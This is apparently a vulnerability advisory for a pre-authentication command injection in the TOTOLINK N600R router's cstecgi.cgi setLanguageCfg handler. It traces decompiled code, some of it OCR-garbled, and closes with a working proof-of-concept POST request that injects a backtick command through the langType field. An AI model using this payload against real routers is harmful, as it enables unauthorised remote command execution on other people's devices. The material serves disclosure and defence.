Information

Vendor of the products: Gion Electronics (Shenzhen) Co., Ltd. (TOTOLINK)

Vendor's website: TOTOLINK

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Affected products: TOTOLINK N600R

Affected firmware version: V4.3.0cu.7866_B20220506

Firmware download address: N600R 雙倍飆速無線分享器 | TOTOLINK 台灣

Overview

The vulnerability resides in the /web_cste/cgi-bin/cstecgi.cgi binary. The sub_4159F8 routine obtains user-supplied input from the frontend and concatenates it into the argument of the system() call without proper validation or sanitization, resulting in a pre-authentication command injection flaw. An unauthenticated attacker can submit specially crafted payloads to execute arbitrary system commands.

Vulnerability details

Through analysis of the /web_cste/cgi-bin/cstecgi.cgi binary that provides the device's web service, a pre-authentication command injection vulnerability was identified. Around line 260 in main, the program matches the user input against the string setting/setLanguageCfg, and upon a match, execution branches to approximately line 340.

```
v33 = 1;
258
               if ( strcmp(Var, "setting/getLanguageCfg") )
259
260
                 if ( strcmp(Var, "setting/setLanguageCfg") )
261
 262
264
                   if ( strcmp(Var, "setting/getSysStatusCfg") )
 265
                     v33 = 1;
266
                     if ( !strstr(Var, "UploadCustomModule") )
267
 268
269
270
                       if ( !strstr(Var, "QuickCustom") )
 271
                         v33 = 1;
272
                         if ( !f_exist("/var/kkkkk") )
273
 274
275
                           if ( f_exist("/tmp/cookie_key") )
276
 277
                             f_read("/tmp/cookie_key", v56, 0, 128);
278
279
                             memset(v59, 0, sizeof(v59));
                             f_read("/tmp/token_uptime", v59, 0, 128);
280
281
                             v34 = strtol(v59, 0, 10);
 282
                           v35 = time(0);
if ( strlen(v56) != 32 )
283
284
285
                             goto LABEL_84;
```

It then consults the set_handle_t dispatch table to resolve the corresponding handler based on the matched value and invokes it.

```
339
             else if ( strstr(Var, "set") )
340
 341
               \sqrt{39} = off_43FF50;
342
• 343
              if (!off 43FF50)
344
                goto LABEL_116;
 345
               v44 = &off_43FF94;
              v45 = 0;
346
• 347
               while ( strncmp(Var, &set_handle_t[68 * v45++], 0x40u) )
 348
 349
                 \sqrt{39} = *\sqrt{44};
                v43 = *v44 != 0;
9 350
                ∨44 += 17;
9 351
                 if (!v43)
 352
• 353
                   goto LABEL_116;
  354
               }
             }
 355
```

The setLanguageCfg entry resolves to the handler at sub_415840.

```
LOAD:0043FF94 off_43FF94:
                               .word sub 422664
                                                       # DATA XREF: main+16441c
 LOAD:0043FF98 aSetlanguagecfg:.ascii "setLanguageCfg"<0>
 LOAD:0043FFA7
                               .byte 0
 LOAD:0043FFA8
                               .byte
 LOAD:0043FFA9
                               .byte 0
 LOAD:0043FFAA
                               .half 0
 LOAD:0043FFAC
                               .word 0
 LOAD:0043FFB0
                               .word 0
 LOAD:0043FFB4
                               .word 0
 LOAD:0043FFB8
                               .word 0
 LOAD:0043FFBC
                               .word 0
 LOAD:0043FFC0
                               .word 0
 LOAD:0043FFC4
                               .word 0
 LOAD:0043FFC8
                               .word 0
 LOAD:0043FFCC
                               .word 0
LOAD:0043FFD0
                               .word 0
 LOAD:0043FFD4
                               .word 0
 LOAD:0043FFD8
                               .word sub_415840
```

At approximately line 405 in main, the resolved handler is retrieved and invoked.

```
404 }
405 (v39)(v14);
406 goto LABEL_116;
407 }
```

The variable Var receives client-supplied data via the langType parameter and is directly concatenated into v5 using sprintf(). Due to the lack of strict input validation, an attacker can leverage backtick-based command substitution to execute arbitrary commands.

```
1 int __fastcall sub_415840(int a1)
         const char *Var; // $s1
         const char *va; // $s1
const char *v3; // $v0
char v5[256]; // [sp+18h] [-128h] BYREF
_DWORD v6[8]; // [sp+118h] [-28h] BYREF
char v7; // [sp+138h] [-8h]
int v8; // [sp+13ch] [-4h] BYREF
         memset(v5, 0, sizeof(v5));
memset(v6, 0, sizeof(v6));
10
11
         v7 = 0;
Var = (const char *)websGetVar(a1, "langType", "");
v3 = (const char *)websGetVar(a1, "langFlag", "1");
13
1 14
         v8 = atoi(v3);
15
         apmib_set(6002, Var);
apmib_set(7012, &v8);
         if ( f_exist("/var/userdata/product.ini") )
1.18
 19
           sprintf(v5, "helpUrl_%s", Van
inifile_get_string("/var/userdata/product.ini", "PRODUCT", v5, v6);
20
21
             apmib_set(7017, v6);
1 22
  23
         apmib_update_web(4);
         apmin_upuace_web(4);
system("rm -f /web_cste/js/language.js 1>/dev/null 2>&1");
sprintf(v5, "/web cste/js/language %s.js", \var);
sprintf(v5, "ln -s /web_cste/js/language_%s.js /web_cste/js/language.js 1>/dev/null 2>&1", \var);
system(v5);
25
26
27
28
          setResponse("0", "reserv");
1 30
         return 0;
1 31 }
```

POC

```
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content-Length: 73
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/login.asp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{
"topicurl":"setting/setLanguageCfg",
"langType":"`ls -l > ../123.txt`"
}
```

Effect Demonstration

```
| Response | Response
```

